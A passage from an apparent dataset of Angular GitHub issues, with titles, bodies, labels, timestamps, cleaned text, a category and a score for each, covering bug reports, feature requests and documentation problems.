_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-04-08 17:58:29+00:00,2026-04-10 14:58:52+00:00,1,"open for contributions,area: docs-infra",1.8753,homepage announcement banner overlaps navigation between px viewport width describe the problem that you experienced the angular v is here announcement banner overlaps clips behind the navigation bar at viewport widths between px and px and after px the banner is almost not visible at all this is a general clip of the bug after px width enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9716
angular/angular,4225085690,fixture.detectChanges v21,"### Command

test

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

16

### Description

Callen fixture.detectChanges twice leads to NG0100: ExpressionChangedAfterItHasBeenCheckedError.

### Minimal Reproduction

```ts
@Component({
  selector: 'app-counter2',
  imports: [],
  template:`<div data-testid=""count"">{{ count }}</div>`
})
export class Counter {
  count = 0;
}
```

```ts
describe.skip('Counter2', () => {
  let component: Counter;
  let fixture: ComponentFixture<Counter>;

  beforeEach(async () => {
    await TestBed.configureTestingModule({
      imports: [Counter]
    }).compileComponents();

    fixture = TestBed.createComponent(Counter);
    component = fixture.componentInstance;
   });


  it('should', async () => {
   
    fixture.detectChanges();

   component.count++;

    fixture.detectChanges(); // it fails here and only if data has changed since previous detectChanges
    
  });


});
```

### Exception or Error

```text
NG0100: ExpressionChangedAfterItHasBeenCheckedError
```

### Your Environment

```text
ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI... [TRUNCATED]","area: core,gemini-triaged",2026-04-08 13:54:14+00:00,2026-04-08 14:04:30+00:00,3,"area: core,gemini-triaged",0.0071,fixture detectchanges v command test is this a regression x yes this behavior used to work in the previous version the previous version in which this bug was not present was description callen fixture detectchanges twice leads to ng expressionchangedafterithasbeencheckederror exception or error your environment text ng version angular cli truncated,bug,-0.5859
angular/angular,4223931864,NG0200: Circular dependency when component implements both ControlValueAccessor and FormValueControl with transformedValue,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Using `transformedValue` from @angular/forms/signals in a component that also provides `NG_VALUE_ACCESSOR` (to support legacy reactive forms / ngModel) causes a circular dependency error (NG0200) at runtime when the component is used with the [formField] directive.

**Steps to Reproduce**
1. Create a component that implements both ControlValueAccessor and FormValueControl<T>
2. Provide NG_VALUE_ACCESSOR in the component's providers array (needed to support ngModel / formControl usage)
3. Use transformedValue as a class field to manage display-vs-model value transformation
4. Use the component in a template with [formField] binding

```
@Component({
  selector: 'my-input',
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(() => MyInputComponent),
      multi: true,
    },
  ],
})
export class MyInputComponent
  implements ControlValueAccessor, FormValueControl<number | null>
{
  public value = model<number | null>(null);

  // This line causes NG0200 when [formField] is used on this component
  public raw = transformedValue(this.value, {
    format: (v) => v?.toString() ?? null,
    parse: (v) => ({ value: v ? parseFloat(v) : null }),
  });

  // ControlValueAccessor methods...
  writeValue(value: number | null) { ... }
  registerOnChange(fn: any) { ... }
  registerOnTouched(fn: any) { ... }
}
```

### Please provide a link to a ... [TRUNCATED]","area: forms,forms: signals",2026-04-08 10:45:25+00:00,2026-04-08 15:57:14+00:00,3,"area: forms,forms: signals",0.2165,ng circular dependency when component implements both controlvalueaccessor and formvaluecontrol with transformedvalue which angular package s are the source of the bug forms is this a regression no description using from angular forms signals in a component that also provides to support legacy reactive forms ngmodel causes a circular dependency error ng at runtime when the component is used with the formfield directive create a component that implements both controlvalueaccessor and formvaluecontrol provide ng value accessor in the component s providers array needed to support ngmodel formcontrol usage use transformedvalue as a class field to manage display vs model value transformation use the component in a template with formfield binding please provide a link to a truncated,others,0.6597
angular/angular,4220025770,Decorated classes have `declare` property set ,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Consider this example:

```ts
function sealed(constructor: Function) {
  Object.seal(constructor);
  Object.seal(constructor.prototype);
}

@sealed
class BugReport {
  type: string|number = ""report"";
  title: string;

  constructor(t: string) {
    this.title = t;
  }
}

class BugReportChild extends BugReport {
  declare type: number;
}

@Directive({})
export class Base {
  prop: string|number = 'report';
}

@Directive({
  selector: '[appCell]'
})
export class Child extends Base {
  declare prop: number;
  constructor() {
    super();
    console.log(this.prop)
    let br = new BugReportChild('title');
    console.log(br.type)
  }

}
```

The expected behaviour is both `console.log(this.prop)` and `console.log(br.type)` print 'report' in the console.

But that is not the case. properties that have a `declare` in the child class directive are set to `undefined`.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-n7fvrxx1?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64
|-------------------------------------------------------------------... [TRUNCATED]","area: compiler,state: confirmed",2026-04-07 19:15:43+00:00,2026-04-22 18:39:32+00:00,3,"area: compiler,state: confirmed",14.9749,decorated classes have property set which angular package s are the source of the bug compiler is this a regression no description consider this example the expected behaviour is both and print report in the console but that is not the case properties that have a in the child class directive are set to please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x truncated,others,-0.4678
angular/angular,4213350087,Directive decorator breaks typescript declare keyword behaviour,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Consider the following definitions:
```
@Directive({})
export class Base {
  prop: string|number = 'crap';
}

@Directive({
  selector: '[appCell]'
})
export class Child extends Base implements OnInit {
  declare prop: number;
  constructor() {
    super();
    console.log(this.prop)
  }

  ngOnInit() {
  }
}
```



Expected output in the console: 'crap'
Received output: undefined

### Please provide a link to a minimal reproduction of the bug

[Example Link](https://stackblitz.com/edit/stackblitz-starters-n7fvrxx1?file=src%2Fmain.ts)

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64

?????????????????????????????????????????????????????????????????????
? Package                   ? Installed Version ? Requested Version ?
?????????????????????????????????????????????????????????????????????
? @angular/build            ? 21.2.6            ? ^21.2.6           ?
? @angular/cli              ? 21.2.6            ? ^21.2.6           ?
? @angular/common           ? 21.2.7            ? ^21.2.0           ?
? @angular/compiler         ? 21.2.7            ? ^21.2.0           ?
? @angular/compiler-cli     ? 21.2.7            ? ^2... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-06 18:27:37+00:00,2026-04-06 18:45:54+00:00,3,"area: compiler,gemini-triaged",0.0127,directive decorator breaks typescript declare keyword behaviour which angular package s are the source of the bug compiler is this a regression no description consider the following definitions expected output in the console crap received output undefined please provide a link to a of the bug example link please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common angular compiler angular compiler cli truncated,others,-0.7964
angular/angular,4208279550,CSS class binding with the @Component decorator host propery doesn't render correctly,"### Which @angular/* package(s) are the source of the bug?

compiler, Don't known / other

### Is this a regression?

Yes

### Description

With following component, and Tailwind complex classes. The class name `md:col-[-3/-1]` renders as `md:col-[-3/-1` instead.

```typescript
@Component({
  selector: 'test-card',
  host: {
    '[class.md:col-[-3/-1]]': 'featured()',
  },
  template: 'Something'
})
export class TestComponent {
  readonly featured = input<boolean>(false);

  /*
  This is the current workaround
  @HostBinding('class.md:col-[-3/-1]')
  get isFeatured() {
    return this.featured();
  }
  */
}
```

# Verified by unit test
```typescript
describe('TestComponent', () => {
  let fixture: ComponentFixture<TestComponent>;
  
  beforeEach(async () => {
    await TestBed.configureTestingModule({
      imports: [TestComponent],
    }).compileComponents();

    // Set required inputs
    fixture = TestBed.createComponent(TestComponent); 
  });

  it('should add featured CSS classes when featured is true', async () => {
    fixture.componentRef.setInput('featured', true);
    fixture.detectChanges();
    await fixture.whenStable();

    const hostElement: HTMLElement = fixture.nativeElement;

    expect(hostElement.classList.contains('md:col-[-3/-1')).toBe(false);  // fails ( it renders this instead )
    expect(hostElement.classList.contains('md:col-[-3/-1]')).toBe(true);  // fails ( the rendering is incorrect )
  });
});
```

### Please provide a link to a minimal reprod... [TRUNCATED]","area: compiler,core: host and host bindings,P3,compiler: styles,gemini-triaged",2026-04-05 18:25:13+00:00,2026-04-06 20:21:53+00:00,4,"area: compiler,core: host and host bindings,P3,compiler: styles,gemini-triaged",1.081,css class binding with the component decorator host propery doesn t render correctly which angular package s are the source of the bug compiler don t known other is this a regression yes description with following component and tailwind complex classes the class name renders as instead verified by unit test please provide a link to a minimal reprod truncated,others,0.25
angular/angular,4207184842,"add ""Random Topic"" button to angular.dev for exploratory learning","### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

A ""Random Topic"" (or ""Surprise Me"") button would serve developers who come to angular.dev out of curiosity to learn something new, not because they need to solve a specific problem or have a current topic in mind. 

One click takes you to a random doc page. Maybe you land on the directive composition API, maybe on hydration, maybe on signal forms. 

Browsing a large sidebar of topics and deciding what to read can feel overwhelming, and a random pick removes that friction entirely, similar to Wikipedia's well-loved ""Random article"".

### Proposed solution

Add a ""Random Topic"" button and a keyboard shortcut in the search dialog. It picks a random topic and navigates to it.

<img width=""866"" height=""331"" alt=""Image"" src=""https://github.com/user-attachments/assets/57306608-aa40-4b7a-8fc4-1d2c0e49c83a"" />

note: the # key shown in the mockup is a placeholder, the actual shortcut is open for discussion.

### Alternatives considered

This functionality could also be placed elsewhere, instead of inside the search dialog.","area: docs-infra,gemini-triaged",2026-04-05 10:19:06+00:00,2026-04-06 13:27:10+00:00,5,"area: docs-infra,gemini-triaged",1.1306,add random topic button to angular dev for exploratory learning which angular package s are relevant related to the feature request no response description a random topic or surprise me button would serve developers who come to angular dev out of curiosity to learn something new not because they need to solve a specific problem or have a current topic in mind one click takes you to a random doc page maybe you land on the directive composition api maybe on hydration maybe on signal forms browsing a large sidebar of topics and deciding what to read can feel overwhelming and a random pick removes that friction entirely similar to wikipedia s well loved random article proposed solution add a random topic button and a keyboard shortcut in the search dialog it picks a random topic and navigates to it note the key shown in the mockup is a placeholder the actual shortcut is open for discussion alternatives considered this functionality could also be placed elsewhere instead of inside the search dialog,documentation,0.743
angular/angular,4206821834,[potential Security Alert] New `preinstall` script added in `angular-srcs@5.1.0-beta.2-yg.1`,"
A new `preinstall` script was detected in version `5.1.0-beta.2-yg.1` of the package `angular-srcs`.

**Suspicion Score:** 10/100

**Script content:**
```
node -e ""if(process.env.npm_execpath.indexOf('yarn') === -1) throw new Error('Please use Yarn instead of NPM to install dependencies. See: https://yarnpkg.com/lang/en/docs/install/')""
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert) if you want to improve the algorythm open a pull request 
This could be a security risk. Please investigate.
","area: security,gemini-triaged",2026-04-05 07:19:08+00:00,2026-04-05 07:22:52+00:00,2,"area: security,gemini-triaged",0.0026,potential security alert new script added in a new script was detected in version of the package suspicion score script content see npm documentation on package scripts for more details and the detector to understand why this script might be dangerous to get the alert only for dangerous scripts please visit the telegram if you want to improve the algorythm open a pull request this could be a security risk please investigate,feature,0.6249
angular/angular,4202064751,Error of signal forms missing in error encyclopedia,"### Describe the problem that you experienced

I got the error NG01902 while using the signal forms, not sure if other errors are also not included or its just this one.

https://angular.dev/errors - does not list this error
https://angular.dev/errors/NG01902 - says page not found.

For anyone else running into this error in the meantime:
Turned out I was accidentally trying to set undefined for a field's value which was throwing the error, setting the value to null instead prevented the error.

### Enter the URL of the topic with the problem

https://angular.dev/errors

### Describe what you were looking for in the documentation

Explanation of NG01902 error (and other signal forms errors) and steps to prevent it ","open for contributions,area: docs",2026-04-03 20:19:15+00:00,2026-04-28 19:07:49+00:00,7,"open for contributions,area: docs",24.9504,error of signal forms missing in error encyclopedia describe the problem that you experienced i got the error ng while using the signal forms not sure if other errors are also not included or its just this one does not list this error says page not found for anyone else running into this error in the meantime turned out i was accidentally trying to set undefined for a field s value which was throwing the error setting the value to null instead prevented the error enter the url of the topic with the problem describe what you were looking for in the documentation explanation of ng error and other signal forms errors and steps to prevent it,bug,-0.9858
angular/angular,4202043149,Error of signal forms missing in error encyclopedia,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I got the error NG01902 while using the signal forms, not sure if other errors are also not included or its just this one.

https://angular.dev/errors - does not list this error
https://angular.dev/errors/NG01902 - says page not found.

For anyone else running into this error in the meantime:
Turned out I was accidentally trying to set undefined for a field's value which was throwing the error, setting the value to null instead prevented the error.","area: forms,gemini-triaged",2026-04-03 20:12:45+00:00,2026-04-03 20:20:01+00:00,1,"area: forms,gemini-triaged",0.005,error of signal forms missing in error encyclopedia which angular package s are the source of the bug forms is this a regression no description i got the error ng while using the signal forms not sure if other errors are also not included or its just this one does not list this error says page not found for anyone else running into this error in the meantime turned out i was accidentally trying to set undefined for a field s value which was throwing the error setting the value to null instead prevented the error,bug,-0.9804
angular/angular,4198850061,Chrome DevTools source file not focusing when breakpoint hits  in Angular 19 with Webpack 4.47.0,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

Environment:
- Angular Version: 19.2.6
- Angular CLI: 19.2.7
- Chrome Version: 146.0.7680.165
- Node: 20.17.0
- OS: Windows 10 x64
- Webpack: 4.47.0

Problem:
When debugging Angular 19 project in Chrome DevTools:
- Source file not auto-focusing in Sources panel
- Scope panel shows ""Not paused"" when breakpoint hits
- Call Stack shows ""Not paused""
- Bottom bar shows ""From main.js"" instead of .ts filename
- Same configuration works in another Angular 19 project

Steps to Reproduce:
1. Run ng serve
2. Open Chrome DevTools → Sources
3. Set breakpoint in any component
4. Trigger the action
5. Breakpoint hits but file does not focus

Expected Behavior:
Sources panel should auto-focus the .ts file 
and show scope variables when breakpoint hits

Actual Behavior:
Sources panel focuses main.js instead of .ts file
Scope and Call Stack show ""Not paused""

Already Tried:
- sourceMap: true in angular.json
- inlineSources: true in tsconfig.json
- optimization: false
- buildOptimizer: false
- Cleared node_modules and reinstalled
- Installed webpack@4.47.0
- Tried Microsoft Edge — same issue

<img width=""1897"" height=""888"" alt=""Image"" src=""https://github.com/user-attachments/assets/2c5cea7e-8b70-42e4-80a4-f45392d1b76b"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please pr... [TRUNCATED]","area: devtools,gemini-triaged",2026-04-03 07:06:24+00:00,2026-04-03 07:09:44+00:00,2,"area: devtools,gemini-triaged",0.0023,chrome devtools source file not focusing when breakpoint hits in angular with webpack which angular package s are the source of the bug compiler is this a regression yes description environment angular version angular cli chrome version node os windows x webpack problem when debugging angular project in chrome devtools source file not auto focusing in sources panel scope panel shows not paused when breakpoint hits call stack shows not paused bottom bar shows from main js instead of ts filename same configuration works in another angular project run ng serve open chrome devtools sources set breakpoint in any component trigger the action breakpoint hits but file does not focus sources panel should auto focus the ts file and show scope variables when breakpoint hits sources panel focuses main js instead of ts file scope and call stack show not paused already tried sourcemap true in angular json inlinesources true in tsconfig json optimization false buildoptimizer false cleared node modules and reinstalled installed webpack tried microsoft edge same issue please provide a link to a of the bug no response please provide the exception or error you saw please pr truncated,others,0.8151
angular/angular,4198204923,Pseudo host wrapper element,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Angular components don’t currently provide a way to express host-element styling and bindings *in the template* using normal element syntax. Instead, developers must use either:

- `:host` / `:host(...)` selectors in component CSS, or
- host bindings (`host: { ... }`, `@HostBinding()`, etc.).

This can be awkward in practice, especially with utility-first CSS approaches (e.g. TailwindCSS), where teams prefer to keep styling colocated with markup in the HTML template:

- `:host` pushes host styling into CSS, away from the template where most utility classes live.
- Host bindings are written differently than standard template bindings, which makes them feel inconsistent and less discoverable during refactors.
- For dynamic styling (classes/styles/attrs on the host), there’s no way to write it with the same binding syntax used for other elements in the template.

A template-level “pseudo host wrapper” would allow developers to express host attributes/classes/styles using the same syntax as any other element, while keeping the rendered DOM unchanged.


### Proposed solution

Introduce a **pseudo host element** (name bikesheddable; e.g. `<ng-host>`) that is allowed in component templates and is treated as compile-time sugar for host bindings.

Example syntax:

```html
<ng-host class=""flex flex-col"" [style.width.px]=""calculateWidth()"">
  <!-- component content -->
</ng-host... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-03 04:12:45+00:00,2026-04-03 06:13:34+00:00,1,"area: compiler,gemini-triaged",0.0839,pseudo host wrapper element which angular package s are relevant related to the feature request no response description angular components don t currently provide a way to express host element styling and bindings in the template using normal element syntax instead developers must use either selectors in component css or host bindings etc this can be awkward in practice especially with utility first css approaches e g tailwindcss where teams prefer to keep styling colocated with markup in the html template pushes host styling into css away from the template where most utility classes live host bindings are written differently than standard template bindings which makes them feel inconsistent and less discoverable during refactors for dynamic styling classes styles attrs on the host there s no way to write it with the same binding syntax used for other elements in the template a template level pseudo host wrapper would allow developers to express host attributes classes styles using the same syntax as any other element while keeping the rendered dom unchanged proposed solution introduce a pseudo host element name bikesheddable e g that is allowed in component templates and is treated as compile time sugar for host bindings example syntax html ng host truncated,others,0.2023
angular/angular,4198076847,Misaligned icon and text in search results item,"### Describe the problem that you experienced

The icon in the search result items is vertically misaligned when the text is too long. 
The icon is aligned to the top of the container, while the title and subtitle are centered or flow into multiple lines below it.

<img width=""373"" height=""823"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0bb6b2e-20f5-456a-a6ac-e5e77b7266e6"" />


For example, when searching for “update”  

This only happens in mobile view

https://next.angular.dev/


 

 ","open for contributions,area: docs-infra,gemini-triaged",2026-04-03 03:30:22+00:00,2026-04-06 17:57:12+00:00,1,"open for contributions,area: docs-infra,gemini-triaged",3.602,misaligned icon and text in search results item describe the problem that you experienced the icon in the search result items is vertically misaligned when the text is too long the icon is aligned to the top of the container while the title and subtitle are centered or flow into multiple lines below it for example when searching for update this only happens in mobile view,documentation,-0.2263
angular/angular,4195964919,Support for input signals to update the input value if signals are used in the transform function,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Basically the title, I want to have some custom transformations that depends on other values and those values can be updated, but currently the signal input value doesn't listen to those changes when signals are used at the transform function.

### Proposed solution

```typescript
  disabled = input<any, boolean>(false, {
    transform: (value) =>
      functionToTransform(value, this.context()),
  });
  context = input<any>()
```

### Alternatives considered

None","area: core,gemini-triaged",2026-04-02 17:27:04+00:00,2026-04-02 17:31:47+00:00,3,"area: core,gemini-triaged",0.0033,support for input signals to update the input value if signals are used in the transform function which angular package s are relevant related to the feature request core description basically the title i want to have some custom transformations that depends on other values and those values can be updated but currently the signal input value doesn t listen to those changes when signals are used at the transform function proposed solution alternatives considered none,help,0.8873
angular/angular,4192894437,DestroyRef and OnDestroy don't do the same thing,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

I wanted to use the new DestroyRef instead of ngOnDestroy. But the onDestroy removes the value and destroyRef does not.

Abstract class:
```ts
@Directive()
export abstract class InputDirective<T> {

  label = input.required<string>();
  key = input.required<string>();
  value = model.required<T | undefined | null>();

  destroyRef = inject(DestroyRef);

  ngOnDestroy() {
    console.log('ngOnDestroy', this.value())
  }

  constructor() {
    this.destroyRef.onDestroy(() => {
      console.warn(' destroyRef', this.value())
    })

    effect(() => {
      console.log(this.value())
    })

   
    // update the value live when typing
    let valueChangesSubscription: Subscription | null = null;

    effect(() => {
      this.formControl.setValue(this.value());

      if (valueChangesSubscription === null) {
        valueChangesSubscription = this.formControl.valueChanges
          .pipe(takeUntilDestroyed(this.destroyRef))
          .subscribe((value) => {
            if (this.value() !== value) {
              this.value.set(value);
            }
          });
      }
    });
  }

}

```

Example of a `input.component.ts`:
```ts
@Component({
  selector: 'lib-number-input',
})
export class NumberInputComponent extends InputDirective<number | string> {
  constructor() {
    super();
  }
}
```

Using the component in another html file
```html
        <lib-number-inpu... [TRUNCATED]","needs reproduction,area: core",2026-04-02 08:38:27+00:00,2026-04-02 13:13:54+00:00,5,"needs reproduction,area: core",0.1913,destroyref and ondestroy don t do the same thing which angular package s are the source of the bug core is this a regression yes description i wanted to use the new destroyref instead of ngondestroy but the ondestroy removes the value and destroyref does not abstract class example of a using the component in another html file html lib number inpu truncated,others,0.5267
angular/angular,4185083373,"Signal Forms: Submit always causes App to reload, even if stopPropagation() is called.","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I am using @angular/forms/signals. If I set the button type to submit, or call the function passed into ""submit"" output of the form, it always reloads the app, even if stopPropagation is called.
Pressing ENTER in the text field causes also the same behaviour.


HTML:
```
<form>

    <input type=""text"" [formField]=""testForm.testInput"">

    <button type=""submit"" (click)=""testSubmit($event)"">Submit</button>

</form>
```

TS:


   ```
testForm = form(signal({
    testInput: '',
  }));

  testSubmit(event: Event) {
    event.stopPropagation();
  }
```


### Please provide a link to a minimal reproduction of the bug

http://stackblitz.com/edit/stackblitz-starters-zt8v5vxc

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
""@angular/cdk"": ""~21.2.0"",
""@angular/common"": ""^21.2.6"",
""@angular/compiler"": ""^21.2.6"",
""@angular/core"": ""^21.2.6"",
""@angular/forms"": ""^21.2.6"",
""@angular/material"": ""~21.2.0"",
""@angular/platform-browser"": ""^21.2.6"",
```

### Anything else?

_No response_","area: forms,gemini-triaged",2026-04-01 08:21:44+00:00,2026-04-01 09:13:31+00:00,4,"area: forms,gemini-triaged",0.036,signal forms submit always causes app to reload even if stoppropagation is called which angular package s are the source of the bug forms is this a regression no description i am using angular forms signals if i set the button type to submit or call the function passed into submit output of the form it always reloads the app even if stoppropagation is called pressing enter in the text field causes also the same behaviour html ts please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8591
angular/angular,4183742222,ADEV: add links to class methods in docs,"Currently, class methods in the docs are not clickable and I can't navigate to a particular function from the main class definition. For example, if you open https://angular.dev/api/core/ApplicationRef, there is no way to navigate to the `bootstrap` function. Also, if you scroll down to the necessary function, you can't copy a link to this function (e.g. for sharing purposes). However, the link itself exists (try https://angular.dev/api/core/ApplicationRef#bootstrap).

The feature request is to implement the following:

- Add an ability to navigate to a class method by clicking on a corresponding line in the main class definition (also updating the URL accordingly).
- Add an ability to copy a URL to a particular method by clicking a button (which can appear on hover over the title of the class method section).","regression,area: docs-infra",2026-04-01 03:12:30+00:00,2026-04-07 16:05:42+00:00,4,"regression,area: docs-infra",6.5369,adev add links to class methods in docs currently class methods in the docs are not clickable and i can t navigate to a particular function from the main class definition for example if you open there is no way to navigate to the function also if you scroll down to the necessary function you can t copy a link to this function e g for sharing purposes however the link itself exists try the feature request is to implement the following add an ability to navigate to a class method by clicking on a corresponding line in the main class definition also updating the url accordingly add an ability to copy a url to a particular method by clicking a button which can appear on hover over the title of the class method section,bug,0.6369
angular/angular,4182741049,Resource DX: type-safe access to `Resource#value`,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The idea is to prevent accessing `Resource#value` while the resource is in `'error'` status at the type level.

Runtime errors would become almost impossible.

## Current behavior

Today, `resource.value()` **throws** when status is `'error'`, but TypeScript still allows **unguarded** reads, for example:

```ts
// Compiles today; may throw at runtime when status is 'error'
console.log(userRes.value().name);
```

Common **safe** patterns require an explicit guard first:

1. **Guard inside a `computed` (or other reactive context)**

```ts
const name = computed(() => userRes.hasValue() ? userRes.value().name : '');
```

2. **Treat status + value as one compound state** - guard in TypeScript and in templates:

```ts
function printName(userRes: Resource<{name: string}>) {
  if (userRes.hasValue()) {
    console.log(userRes.value().name);
  }
}
```

```html
@if (userRes.hasValue()) {
<p>{{ userRes.value().name }}</p>
}
```

The problem is that **today’s types do not enforce those guards**: developers must be disciplined and repeat them everywhere. Unguarded reads compile and only fail at runtime — often far from where the read was written.

### Proposed solution

Model `Resource` at the type level as a **discriminated shape aligned with `ResourceSnapshot`**: With `status` being set to `error`, the `value` property does not exist.

That **forces type narrowing** before using `value()... [TRUNCATED]","area: core,cross-cutting: resource",2026-03-31 22:24:03+00:00,2026-04-01 17:33:35+00:00,2,"area: core,cross-cutting: resource",0.7983,resource dx type safe access to which angular package s are relevant related to the feature request core description the idea is to prevent accessing while the resource is in status at the type level runtime errors would become almost impossible current behavior today throws when status is but typescript still allows unguarded reads for example common safe patterns require an explicit guard first guard inside a or other reactive context treat status value as one compound state guard in typescript and in templates the problem is that today s types do not enforce those guards developers must be disciplined and repeat them everywhere unguarded reads compile and only fail at runtime often far from where the read was written proposed solution model at the type level as a discriminated shape aligned with with being set to the property does not exist that forces type narrowing before using value truncated,others,0.7783
angular/angular,4182507104,docs(docs-infra): improve angular-new-app skill,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The `angular-new-app` SKILL.md has a few areas that could be improved:

1. Typo in frontmatter description: ""whenver"" → ""whenever""
2. Redundant persona: two separate ""You are an expert..."" sentences that can be consolidated into one
3. Step 2 lacks guidance on commonly useful `ng new` flags (`--style`, `--routing`, `--ssr`, `--prefix`, `--skip-tests`)
4. Step 4 is missing common generators (guard, interceptor, resolver, enum, class)


### Proposed solution

- Fix typo and consolidate duplicate persona into one line
- Add common `ng new` flags to step 2
- Add missing generators to step 4

### Alternatives considered

no","area: docs-infra,gemini-triaged",2026-03-31 21:32:04+00:00,2026-03-31 21:54:57+00:00,2,"area: docs-infra,gemini-triaged",0.0159,docs docs infra improve angular new app skill which angular package s are relevant related to the feature request no response description the skill md has a few areas that could be improved typo in frontmatter description whenver whenever redundant persona two separate you are an expert sentences that can be consolidated into one step lacks guidance on commonly useful flags step is missing common generators guard interceptor resolver enum class proposed solution fix typo and consolidate duplicate persona into one line add common flags to step add missing generators to step alternatives considered no,feature,0.7783
angular/angular,4174348964,Align `ApplicationRef.bootstrap` contract with `createComponent` function,"Currently, the `ApplicationRef.bootstrap` function ([link](https://angular.dev/api/core/ApplicationRef#bootstrap)) has a different (more limited) set of arguments and we can extend it to support directives and bindings in a way similar to the `createComponent` function ([link](https://angular.dev/api/core/createComponent)). For symmetry, it'd be great to have the `ApplicationRef.bootstrap` function take 2 arguments:

- Component (or component factory for backwards compatibility) as the first argument
- Config object (similar to `createComponent`, but more limited) as the second argument

The tricky part would be to support the second argument in the proposed shape, since currently the second argument of the `ApplicationRef.bootstrap` function might be an object as well. This might require a breaking change and a migration.","feature,area: core,needs: discussion",2026-03-30 22:03:55+00:00,2026-04-07 19:48:56+00:00,2,"feature,area: core,needs: discussion",7.9063,align contract with function currently the function link has a different more limited set of arguments and we can extend it to support directives and bindings in a way similar to the function link for symmetry it d be great to have the function take arguments component or component factory for backwards compatibility as the first argument config object similar to but more limited as the second argument the tricky part would be to support the second argument in the proposed shape since currently the second argument of the function might be an object as well this might require a breaking change and a migration,feature,-0.8194
angular/angular,4173106063,NG0205 thrown on destroyed injector during SSR is unactionable in production monitoring,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

When an HTTP request is initiated after the Angular injector has been destroyed (e.g. during SSR teardown, or via a third-party SDK that captures HttpClient and fires async callbacks), Angular throws NG0205: Injector has already been destroyed.
While this error is intentional, it is unactionable in production because:

- The stack trace is fully minified — no readable symbols or context
- The request URL is never included in the error, which is the one piece of runtime information that would identify the culprit
- It is impossible to determine from the trace alone whether the call originated from your own code or a third-party dependency

This makes the error controversial in production monitoring tools (Rollbar, Sentry, Datadog) — you know something went wrong, but you cannot determine what, where, or whether it caused actual data loss.

### Please provide a link to a minimal reproduction of the bug

https://github.com/arturovt/ng-request-after-injector-destroyed

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: core,2026-03-30 18:31:18+00:00,2026-04-17 15:37:41+00:00,2,area: core,17.8794,ng thrown on destroyed injector during ssr is unactionable in production monitoring which angular package s are the source of the bug common is this a regression no description when an http request is initiated after the angular injector has been destroyed e g during ssr teardown or via a third party sdk that captures httpclient and fires async callbacks angular throws ng injector has already been destroyed while this error is intentional it is unactionable in production because the stack trace is fully minified no readable symbols or context the request url is never included in the error which is the one piece of runtime information that would identify the culprit it is impossible to determine from the trace alone whether the call originated from your own code or a third party dependency this makes the error controversial in production monitoring tools rollbar sentry datadog you know something went wrong but you cannot determine what where or whether it caused actual data loss please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9707
angular/angular,4172211285,Clean up overdue `SCHEDULE_IN_ROOT_ZONE` token and related plumbing (TODO targeted v19),"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`packages/core/src/change_detection/scheduling/zoneless_scheduling.ts` has a `TODO(atscott): Remove in v19` on the `SCHEDULE_IN_ROOT_ZONE` injection token. Angular is past v19 now.

